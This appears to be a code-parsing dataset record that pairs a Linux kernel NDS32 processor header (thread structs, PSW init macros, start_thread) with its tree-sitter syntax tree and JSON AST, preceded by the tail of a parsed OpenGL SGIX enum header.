"enumerator_list", "text": "{\n\n GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179,\n GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A,\n GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B,\n GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C,\n\n}", "parent": 3, "children": [7, 11, 15, 19], "start_point": {"row": 2, "column": 10}, "end_point": {"row": 9, "column": 1}}, {"id": 7, "type": "enumerator", "text": "GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179", "parent": 6, "children": [8, 9, 10], "start_point": {"row": 4, "column": 2}, "end_point": {"row": 4, "column": 56}}, {"id": 8, "type": "identifier", "text": "GL_POST_TEXTURE_FILTER_BIAS_SGIX", "parent": 7, "children": [], "start_point": {"row": 4, "column": 2}, "end_point": {"row": 4, "column": 34}}, {"id": 9, "type": "=", "text": "=", "parent": 7, "children": [], "start_point": {"row": 4, "column": 48}, "end_point": {"row": 4, "column": 49}}, {"id": 10, "type": "number_literal", "text": "0x8179", "parent": 7, "children": [], "start_point": {"row": 4, "column": 50}, "end_point": {"row": 4, "column": 56}}, {"id": 11, "type": "enumerator", "text": "GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A", "parent": 6, "children": [12, 13, 14], "start_point": {"row": 5, "column": 2}, "end_point": {"row": 5, "column": 56}}, {"id": 12, "type": "identifier", "text": "GL_POST_TEXTURE_FILTER_SCALE_SGIX", "parent": 11, "children": [], "start_point": {"row": 5, "column": 2}, "end_point": {"row": 5, "column": 35}}, {"id": 13, "type": "=", "text": "=", "parent": 11, "children": [], "start_point": {"row": 5, "column": 48}, "end_point": {"row": 5, "column": 49}}, {"id": 14, "type": "number_literal", "text": "0x817A", "parent": 11, "children": [], "start_point": {"row": 5, "column": 50}, "end_point": {"row": 5, "column": 56}}, {"id": 15, "type": "enumerator", "text": "GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B", "parent": 6, "children": [16, 17, 18], "start_point": {"row": 6, "column": 2}, "end_point": {"row": 6, "column": 56}}, {"id": 16, "type": "identifier", "text": "GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX", "parent": 15, "children": [], "start_point": {"row": 6, "column": 2}, "end_point": {"row": 6, "column": 40}}, {"id": 17, "type": "=", "text": "=", "parent": 15, "children": [], "start_point": {"row": 6, "column": 48}, "end_point": {"row": 6, "column": 49}}, {"id": 18, "type": "number_literal", "text": "0x817B", "parent": 15, "children": [], "start_point": {"row": 6, "column": 50}, "end_point": {"row": 6, "column": 56}}, {"id": 19, "type": "enumerator", "text": "GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C", "parent": 6, "children": [20, 21, 22], "start_point": {"row": 7, "column": 2}, "end_point": {"row": 7, "column": 56}}, {"id": 20, "type": "identifier", "text": "GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX", "parent": 19, "children": [], "start_point": {"row": 7, "column": 2}, "end_point": {"row": 7, "column": 41}}, {"id": 21, "type": "=", "text": "=", "parent": 19, "children": [], "start_point": {"row": 7, "column": 48}, "end_point": {"row": 7, "column": 49}}, {"id": 22, "type": "number_literal", "text": "0x817C", "parent": 19, "children": [], "start_point": {"row": 7, "column": 50}, "end_point": {"row": 7, "column": 56}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [], "modules": [], "enums": [3, 4, 6, 7, 11, 15, 19]}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [2, 5, 8, 12, 16, 20], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [10, 14, 18, 22], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "#define GLI_INCLUDE_GL_SGIX_TEXTURE_SCALE_BIAS\n\nenum Main {\n\n GL_POST_TEXTURE_FILTER_BIAS_SGIX = 0x8179,\n GL_POST_TEXTURE_FILTER_SCALE_SGIX = 0x817A,\n GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX = 0x817B,\n GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX = 0x817C,\n\n};\n\n"}
81,174
c
// SPDX-License-Identifier: GPL-2.0 // Copyright (C) 2005-2017 Andes Technology Corporation #ifndef __ASM_NDS32_PROCESSOR_H #define __ASM_NDS32_PROCESSOR_H #ifdef __KERNEL__ #include <asm/ptrace.h> #include <asm/types.h> #include <asm/sigcontext.h> #define KERNEL_STACK_SIZE PAGE_SIZE #define STACK_TOP TASK_SIZE #define STACK_TOP_MAX TASK_SIZE struct cpu_context { unsigned long r6; unsigned long r7; unsigned long r8; unsigned long r9; unsigned long r10; unsigned long r11; unsigned long r12; unsigned long r13; unsigned long r14; unsigned long fp; unsigned long pc; unsigned long sp; }; struct thread_struct { struct cpu_context cpu_context; /* cpu context */ /* fault info */ unsigned long address; unsigned long trap_no; unsigned long error_code; struct fpu_struct fpu; }; #define INIT_THREAD { } #ifdef __NDS32_EB__ #define PSW_DE PSW_mskBE #else #define PSW_DE 0x0 #endif #ifdef CONFIG_WBNA #define PSW_valWBNA PSW_mskWBNA #else #define PSW_valWBNA 0x0 #endif #ifdef CONFIG_HWZOL #define PSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE) #else #define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE) #endif #define start_thread(regs,pc,stack) \ ({ \ memzero(regs, sizeof(struct pt_regs)); \ forget_syscall(regs); \ regs->ipsw = PSW_valINIT; \ regs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1); \ regs->ipc = pc; \ regs->sp = stack; \ }) /* Forward declaration, a strange C thing */ struct task_struct; /* Free all resources held by a thread. */ #define release_thread(thread) do { } while(0) #if IS_ENABLED(CONFIG_FPU) #if !IS_ENABLED(CONFIG_UNLAZU_FPU) extern struct task_struct *last_task_used_math; #endif #endif /* Prepare to copy thread state - unlazy all lazy status */ #define prepare_to_copy(tsk) do { } while (0) unsigned long get_wchan(struct task_struct *p); #define cpu_relax() barrier() #define task_pt_regs(task) \ ((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \ - 8) - 1) /* * Create a new kernel thread */ extern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags); #define KSTK_EIP(tsk) instruction_pointer(task_pt_regs(tsk)) #define KSTK_ESP(tsk) user_stack_pointer(task_pt_regs(tsk)) #endif #endif /* __ASM_NDS32_PROCESSOR_H */
30.53
77
(translation_unit) "// SPDX-License-Identifier: GPL-2.0\n// Copyright (C) 2005-2017 Andes Technology Corporation\n\n#ifndef __ASM_NDS32_PROCESSOR_H\n#define __ASM_NDS32_PROCESSOR_H\n\n#ifdef __KERNEL__\n\n#include <asm/ptrace.h>\n#include <asm/types.h>\n#include <asm/sigcontext.h>\n\n#define KERNEL_STACK_SIZE PAGE_SIZE\n#define STACK_TOP TASK_SIZE\n#define STACK_TOP_MAX TASK_SIZE\n\nstruct cpu_context {\n unsigned long r6;\n unsigned long r7;\n unsigned long r8;\n unsigned long r9;\n unsigned long r10;\n unsigned long r11;\n unsigned long r12;\n unsigned long r13;\n unsigned long r14;\n unsigned long fp;\n unsigned long pc;\n unsigned long sp;\n};\n\nstruct thread_struct {\n struct cpu_context cpu_context; /* cpu context */\n /* fault info */\n unsigned long address;\n unsigned long trap_no;\n unsigned long error_code;\n\n struct fpu_struct fpu;\n};\n\n#define INIT_THREAD { }\n\n#ifdef __NDS32_EB__\n#define PSW_DE PSW_mskBE\n#else\n#define PSW_DE 0x0\n#endif\n\n#ifdef CONFIG_WBNA\n#define PSW_valWBNA PSW_mskWBNA\n#else\n#define PSW_valWBNA 0x0\n#endif\n\n#ifdef CONFIG_HWZOL\n#define PSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif\n\n#define start_thread(regs,pc,stack) \\n({ \\n memzero(regs, sizeof(struct pt_regs)); \\n forget_syscall(regs); \\n regs->ipsw = PSW_valINIT; \\n regs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1); \\n regs->ipc = pc; \\n regs->sp = stack; \\n})\n\n/* Forward declaration, a strange C thing */\nstruct task_struct;\n\n/* Free all resources held by a thread. */\n#define release_thread(thread) do { } while(0)\n#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif\n\n/* Prepare to copy thread state - unlazy all lazy status */\n#define prepare_to_copy(tsk) do { } while (0)\n\nunsigned long get_wchan(struct task_struct *p);\n\n#define cpu_relax() barrier()\n\n#define task_pt_regs(task) \\n ((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\n - 8) - 1)\n\n/*\n * Create a new kernel thread\n */\nextern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);\n\n#define KSTK_EIP(tsk) instruction_pointer(task_pt_regs(tsk))\n#define KSTK_ESP(tsk) user_stack_pointer(task_pt_regs(tsk))\n\n#endif\n\n#endif /* __ASM_NDS32_PROCESSOR_H */\n" (comment) "// SPDX-License-Identifier: GPL-2.0" (comment) "// Copyright (C) 2005-2017 Andes Technology Corporation" (preproc_ifdef) "#ifndef __ASM_NDS32_PROCESSOR_H\n#define __ASM_NDS32_PROCESSOR_H\n\n#ifdef __KERNEL__\n\n#include <asm/ptrace.h>\n#include <asm/types.h>\n#include <asm/sigcontext.h>\n\n#define KERNEL_STACK_SIZE PAGE_SIZE\n#define STACK_TOP TASK_SIZE\n#define STACK_TOP_MAX TASK_SIZE\n\nstruct cpu_context {\n unsigned long r6;\n unsigned long r7;\n unsigned long r8;\n unsigned long r9;\n unsigned long r10;\n unsigned long r11;\n unsigned long r12;\n unsigned long r13;\n unsigned long r14;\n unsigned long fp;\n unsigned long pc;\n unsigned long sp;\n};\n\nstruct thread_struct {\n struct cpu_context cpu_context; /* cpu context */\n /* fault info */\n unsigned long address;\n unsigned long trap_no;\n unsigned long error_code;\n\n struct fpu_struct fpu;\n};\n\n#define INIT_THREAD { }\n\n#ifdef __NDS32_EB__\n#define PSW_DE PSW_mskBE\n#else\n#define PSW_DE 0x0\n#endif\n\n#ifdef CONFIG_WBNA\n#define PSW_valWBNA PSW_mskWBNA\n#else\n#define PSW_valWBNA 0x0\n#endif\n\n#ifdef CONFIG_HWZOL\n#define PSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif\n\n#define start_thread(regs,pc,stack) \\n({ \\n memzero(regs, sizeof(struct pt_regs)); \\n forget_syscall(regs); \\n regs->ipsw = PSW_valINIT; \\n regs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1); \\n regs->ipc = pc; \\n regs->sp = stack; \\n})\n\n/* Forward declaration, a strange C thing */\nstruct task_struct;\n\n/* Free all resources held by a thread. */\n#define release_thread(thread) do { } while(0)\n#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif\n\n/* Prepare to copy thread state - unlazy all lazy status */\n#define prepare_to_copy(tsk) do { } while (0)\n\nunsigned long get_wchan(struct task_struct *p);\n\n#define cpu_relax() barrier()\n\n#define task_pt_regs(task) \\n ((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\n - 8) - 1)\n\n/*\n * Create a new kernel thread\n */\nextern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);\n\n#define KSTK_EIP(tsk) instruction_pointer(task_pt_regs(tsk))\n#define KSTK_ESP(tsk) user_stack_pointer(task_pt_regs(tsk))\n\n#endif\n\n#endif" (#ifndef) "#ifndef" (identifier) "__ASM_NDS32_PROCESSOR_H" (preproc_def) "#define __ASM_NDS32_PROCESSOR_H\n" (#define) "#define" (identifier) "__ASM_NDS32_PROCESSOR_H" (preproc_ifdef) "#ifdef __KERNEL__\n\n#include <asm/ptrace.h>\n#include <asm/types.h>\n#include <asm/sigcontext.h>\n\n#define KERNEL_STACK_SIZE PAGE_SIZE\n#define STACK_TOP TASK_SIZE\n#define STACK_TOP_MAX TASK_SIZE\n\nstruct cpu_context {\n unsigned long r6;\n unsigned long r7;\n unsigned long r8;\n unsigned long r9;\n unsigned long r10;\n unsigned long r11;\n unsigned long r12;\n unsigned long r13;\n unsigned long r14;\n unsigned long fp;\n unsigned long pc;\n unsigned long sp;\n};\n\nstruct thread_struct {\n struct cpu_context cpu_context; /* cpu context */\n /* fault info */\n unsigned long address;\n unsigned long trap_no;\n unsigned long error_code;\n\n struct fpu_struct fpu;\n};\n\n#define INIT_THREAD { }\n\n#ifdef __NDS32_EB__\n#define PSW_DE PSW_mskBE\n#else\n#define PSW_DE 0x0\n#endif\n\n#ifdef CONFIG_WBNA\n#define PSW_valWBNA PSW_mskWBNA\n#else\n#define PSW_valWBNA 0x0\n#endif\n\n#ifdef CONFIG_HWZOL\n#define PSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif\n\n#define start_thread(regs,pc,stack) \\n({ \\n memzero(regs, sizeof(struct pt_regs)); \\n forget_syscall(regs); \\n regs->ipsw = PSW_valINIT; \\n regs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1); \\n regs->ipc = pc; \\n regs->sp = stack; \\n})\n\n/* Forward declaration, a strange C thing */\nstruct task_struct;\n\n/* Free all resources held by a thread. */\n#define release_thread(thread) do { } while(0)\n#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif\n\n/* Prepare to copy thread state - unlazy all lazy status */\n#define prepare_to_copy(tsk) do { } while (0)\n\nunsigned long get_wchan(struct task_struct *p);\n\n#define cpu_relax() barrier()\n\n#define task_pt_regs(task) \\n ((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\n - 8) - 1)\n\n/*\n * Create a new kernel thread\n */\nextern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);\n\n#define KSTK_EIP(tsk) instruction_pointer(task_pt_regs(tsk))\n#define KSTK_ESP(tsk) user_stack_pointer(task_pt_regs(tsk))\n\n#endif" (#ifdef) "#ifdef" (identifier) "__KERNEL__" (preproc_include) "#include <asm/ptrace.h>\n" (#include) "#include" (system_lib_string) "<asm/ptrace.h>" (preproc_include) "#include <asm/types.h>\n" (#include) "#include" (system_lib_string) "<asm/types.h>" (preproc_include) "#include <asm/sigcontext.h>\n" (#include) "#include" (system_lib_string) "<asm/sigcontext.h>" (preproc_def) "#define KERNEL_STACK_SIZE PAGE_SIZE\n" (#define) "#define" (identifier) "KERNEL_STACK_SIZE" (preproc_arg) "PAGE_SIZE" (preproc_def) "#define STACK_TOP TASK_SIZE\n" (#define) "#define" (identifier) "STACK_TOP" (preproc_arg) "TASK_SIZE" (preproc_def) "#define STACK_TOP_MAX TASK_SIZE\n" (#define) "#define" (identifier) "STACK_TOP_MAX" (preproc_arg) "TASK_SIZE" (struct_specifier) "struct cpu_context {\n unsigned long r6;\n unsigned long r7;\n unsigned long r8;\n unsigned long r9;\n unsigned long r10;\n unsigned long r11;\n unsigned long r12;\n unsigned long r13;\n unsigned long r14;\n unsigned long fp;\n unsigned long pc;\n unsigned long sp;\n}" (struct) "struct" (type_identifier) "cpu_context" (field_declaration_list) "{\n unsigned long r6;\n unsigned long r7;\n unsigned long r8;\n unsigned long r9;\n unsigned long r10;\n unsigned long r11;\n unsigned long r12;\n unsigned long r13;\n unsigned long r14;\n unsigned long fp;\n unsigned long pc;\n unsigned long sp;\n}" ({) "{" (field_declaration) "unsigned long r6;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r6" (;) ";" (field_declaration) "unsigned long r7;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r7" (;) ";" (field_declaration) "unsigned long r8;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r8" (;) ";" (field_declaration) "unsigned long r9;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r9" (;) ";" (field_declaration) "unsigned long r10;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r10" (;) ";" (field_declaration) "unsigned long r11;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r11" (;) ";" (field_declaration) "unsigned long r12;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r12" (;) ";" (field_declaration) "unsigned long r13;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r13" (;) ";" (field_declaration) "unsigned long r14;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "r14" (;) ";" (field_declaration) "unsigned long fp;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "fp" (;) ";" (field_declaration) "unsigned long pc;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "pc" (;) ";" (field_declaration) "unsigned long sp;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "sp" (;) ";" (}) "}" (;) ";" (struct_specifier) "struct thread_struct {\n struct cpu_context cpu_context; /* cpu context */\n /* fault info */\n unsigned long address;\n unsigned long trap_no;\n unsigned long error_code;\n\n struct fpu_struct fpu;\n}" (struct) "struct" (type_identifier) "thread_struct" (field_declaration_list) "{\n struct cpu_context cpu_context; /* cpu context */\n /* fault info */\n unsigned long address;\n unsigned long trap_no;\n unsigned long error_code;\n\n struct fpu_struct fpu;\n}" ({) "{" (field_declaration) "struct cpu_context cpu_context;" (struct_specifier) "struct cpu_context" (struct) "struct" (type_identifier) "cpu_context" (field_identifier) "cpu_context" (;) ";" (comment) "/* cpu context */" (comment) "/* fault info */" (field_declaration) "unsigned long address;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "address" (;) ";" (field_declaration) "unsigned long trap_no;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "trap_no" (;) ";" (field_declaration) "unsigned long error_code;" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (field_identifier) "error_code" (;) ";" (field_declaration) "struct fpu_struct fpu;" (struct_specifier) "struct fpu_struct" (struct) "struct" (type_identifier) "fpu_struct" (field_identifier) "fpu" (;) ";" (}) "}" (;) ";" (preproc_def) "#define INIT_THREAD { }\n" (#define) "#define" (identifier) "INIT_THREAD" (preproc_arg) "{ }" (preproc_ifdef) "#ifdef __NDS32_EB__\n#define PSW_DE PSW_mskBE\n#else\n#define PSW_DE 0x0\n#endif" (#ifdef) "#ifdef" (identifier) "__NDS32_EB__" (preproc_def) "#define PSW_DE PSW_mskBE\n" (#define) "#define" (identifier) "PSW_DE" (preproc_arg) "PSW_mskBE" (preproc_else) "#else\n#define PSW_DE 0x0\n" (#else) "#else" (preproc_def) "#define PSW_DE 0x0\n" (#define) "#define" (identifier) "PSW_DE" (preproc_arg) "0x0" (#endif) "#endif" (preproc_ifdef) "#ifdef CONFIG_WBNA\n#define PSW_valWBNA PSW_mskWBNA\n#else\n#define PSW_valWBNA 0x0\n#endif" (#ifdef) "#ifdef" (identifier) "CONFIG_WBNA" (preproc_def) "#define PSW_valWBNA PSW_mskWBNA\n" (#define) "#define" (identifier) "PSW_valWBNA" (preproc_arg) "PSW_mskWBNA" (preproc_else) "#else\n#define PSW_valWBNA 0x0\n" (#else) "#else" (preproc_def) "#define PSW_valWBNA 0x0\n" (#define) "#define" (identifier) "PSW_valWBNA" (preproc_arg) "0x0" (#endif) "#endif" (preproc_ifdef) "#ifdef CONFIG_HWZOL\n#define PSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif" (#ifdef) "#ifdef" (identifier) "CONFIG_HWZOL" (preproc_def) "#define PSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n" (#define) "#define" (identifier) "PSW_valINIT" (preproc_arg) "(PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)" (preproc_else) "#else\n#define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n" (#else) "#else" (preproc_def) "#define PSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n" (#define) "#define" (identifier) "PSW_valINIT" (preproc_arg) "(PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)" (#endif) "#endif" (preproc_function_def) "#define start_thread(regs,pc,stack) \\n({ \\n memzero(regs, sizeof(struct pt_regs)); \\n forget_syscall(regs); \\n regs->ipsw = PSW_valINIT; \\n regs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1); \\n regs->ipc = pc; \\n regs->sp = stack; \\n})\n" (#define) "#define" (identifier) "start_thread" (preproc_params) "(regs,pc,stack)" (() "(" (identifier) "regs" (,) "," (identifier) "pc" (,) "," (identifier) "stack" ()) ")" (preproc_arg) "({ \\n memzero(regs, sizeof(struct pt_regs)); \\n forget_syscall(regs); \\n regs->ipsw = PSW_valINIT; \\n regs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_SYSTEM | PSW_INTL_1); \\n regs->ipc = pc; \\n regs->sp = stack; \\n})" (comment) "/* Forward declaration, a strange C thing */" (struct_specifier) "struct task_struct" (struct) "struct" (type_identifier) "task_struct" (;) ";" (comment) "/* Free all resources held by a thread. */" (preproc_function_def) "#define release_thread(thread) do { } while(0)\n" (#define) "#define" (identifier) "release_thread" (preproc_params) "(thread)" (() "(" (identifier) "thread" ()) ")" (preproc_arg) "do { } while(0)" (preproc_if) "#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif" (#if) "#if" (call_expression) "IS_ENABLED(CONFIG_FPU)" (identifier) "IS_ENABLED" (argument_list) "(CONFIG_FPU)" (() "(" (identifier) "CONFIG_FPU" ()) ")" ( ) "\n" (preproc_if) "#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif" (#if) "#if" (unary_expression) "!IS_ENABLED(CONFIG_UNLAZU_FPU)" (!) "!" (call_expression) "IS_ENABLED(CONFIG_UNLAZU_FPU)" (identifier) "IS_ENABLED" (argument_list) "(CONFIG_UNLAZU_FPU)" (() "(" (identifier) "CONFIG_UNLAZU_FPU" ()) ")" ( ) "\n" (declaration) "extern struct task_struct *last_task_used_math;" (storage_class_specifier) "extern" (extern) "extern" (struct_specifier) "struct task_struct" (struct) "struct" (type_identifier) "task_struct" (pointer_declarator) "*last_task_used_math" (*) "*" (identifier) "last_task_used_math" (;) ";" (#endif) "#endif" (#endif) "#endif" (comment) "/* Prepare to copy thread state - unlazy all lazy status */" (preproc_function_def) "#define prepare_to_copy(tsk) do { } while (0)\n" (#define) "#define" (identifier) "prepare_to_copy" (preproc_params) "(tsk)" (() "(" (identifier) "tsk" ()) ")" (preproc_arg) "do { } while (0)" (declaration) "unsigned long get_wchan(struct task_struct *p);" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (function_declarator) "get_wchan(struct task_struct *p)" (identifier) "get_wchan" (parameter_list) "(struct task_struct *p)" (() "(" (parameter_declaration) "struct task_struct *p" (struct_specifier) "struct task_struct" (struct) "struct" (type_identifier) "task_struct" (pointer_declarator) "*p" (*) "*" (identifier) "p" ()) ")" (;) ";" (preproc_function_def) "#define cpu_relax() barrier()\n" (#define) "#define" (identifier) "cpu_relax" (preproc_params) "()" (() "(" ()) ")" (preproc_arg) "barrier()" (preproc_function_def) "#define task_pt_regs(task) \\n ((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\n - 8) - 1)\n" (#define) "#define" (identifier) "task_pt_regs" (preproc_params) "(task)" (() "(" (identifier) "task" ()) ")" (preproc_arg) "((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\n - 8) - 1)" (comment) "/*\n * Create a new kernel thread\n */" (declaration) "extern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);" (storage_class_specifier) "extern" (extern) "extern" (primitive_type) "int" (function_declarator) "kernel_thread(int (*fn) (void *), void *arg, unsigned long flags)" (identifier) "kernel_thread" (parameter_list) "(int (*fn) (void *), void *arg, unsigned long flags)" (() "(" (parameter_declaration) "int (*fn) (void *)" (primitive_type) "int" (function_declarator) "(*fn) (void *)" (parenthesized_declarator) "(*fn)" (() "(" (pointer_declarator) "*fn" (*) "*" (identifier) "fn" ()) ")" (parameter_list) "(void *)" (() "(" (parameter_declaration) "void *" (primitive_type) "void" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (,) "," (parameter_declaration) "void *arg" (primitive_type) "void" (pointer_declarator) "*arg" (*) "*" (identifier) "arg" (,) "," (parameter_declaration) "unsigned long flags" (sized_type_specifier) "unsigned long" (unsigned) "unsigned" (long) "long" (identifier) "flags" ()) ")" (;) ";" (preproc_function_def) "#define KSTK_EIP(tsk) instruction_pointer(task_pt_regs(tsk))\n" (#define) "#define" (identifier) "KSTK_EIP" (preproc_params) "(tsk)" (() "(" (identifier) "tsk" ()) ")" (preproc_arg) "instruction_pointer(task_pt_regs(tsk))" (preproc_function_def) "#define KSTK_ESP(tsk) user_stack_pointer(task_pt_regs(tsk))\n" (#define) "#define" (identifier) "KSTK_ESP" (preproc_params) "(tsk)" (() "(" (identifier) "tsk" ()) ")" (preproc_arg) "user_stack_pointer(task_pt_regs(tsk))" (#endif) "#endif" (#endif) "#endif" (comment) "/* __ASM_NDS32_PROCESSOR_H */"
354
0
{"language": "c", "success": true, "metadata": {"lines": 77, "avg_line_length": 30.53, "nodes": 285, "errors": 0, "source_hash": "361377343d1dadaeafd2e8b187c85459297833c7f1fd458b891c2e54bffa4d6f", "categorized_nodes": 167}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __ASM_NDS32_PROCESSOR_H\n#define __ASM_NDS32_PROCESSOR_H\n\n#ifdef __KERNEL__\n\n#include <asm/ptrace.h>\n#include <asm/types.h>\n#include <asm/sigcontext.h>\n\n#define KERNEL_STACK_SIZE\tPAGE_SIZE\n#define STACK_TOP\tTASK_SIZE\n#define STACK_TOP_MAX TASK_SIZE\n\nstruct cpu_context {\n\tunsigned long r6;\n\tunsigned long r7;\n\tunsigned long r8;\n\tunsigned long r9;\n\tunsigned long r10;\n\tunsigned long r11;\n\tunsigned long r12;\n\tunsigned long r13;\n\tunsigned long r14;\n\tunsigned long fp;\n\tunsigned long pc;\n\tunsigned long sp;\n};\n\nstruct thread_struct {\n\tstruct cpu_context cpu_context;\t/* cpu context */\n\t/* fault info */\n\tunsigned long address;\n\tunsigned long trap_no;\n\tunsigned long error_code;\n\n\tstruct fpu_struct fpu;\n};\n\n#define INIT_THREAD {\t}\n\n#ifdef __NDS32_EB__\n#define PSW_DE\tPSW_mskBE\n#else\n#define PSW_DE\t0x0\n#endif\n\n#ifdef CONFIG_WBNA\n#define PSW_valWBNA\tPSW_mskWBNA\n#else\n#define PSW_valWBNA\t0x0\n#endif\n\n#ifdef CONFIG_HWZOL\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_mskAEN | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#else\n#define\tPSW_valINIT (PSW_CPL_ANY | PSW_valWBNA | PSW_mskDT | PSW_mskIT | PSW_DE | PSW_mskGIE)\n#endif\n\n#define start_thread(regs,pc,stack)\t\t\t\\\n({\t\t\t\t\t\t\t\\\n\tmemzero(regs, sizeof(struct pt_regs));\t\t\\\n\tforget_syscall(regs);\t\t\t\t\\\n\tregs->ipsw = PSW_valINIT;\t\t\t\\\n\tregs->ir0 = (PSW_CPL_ANY | PSW_valWBNA | 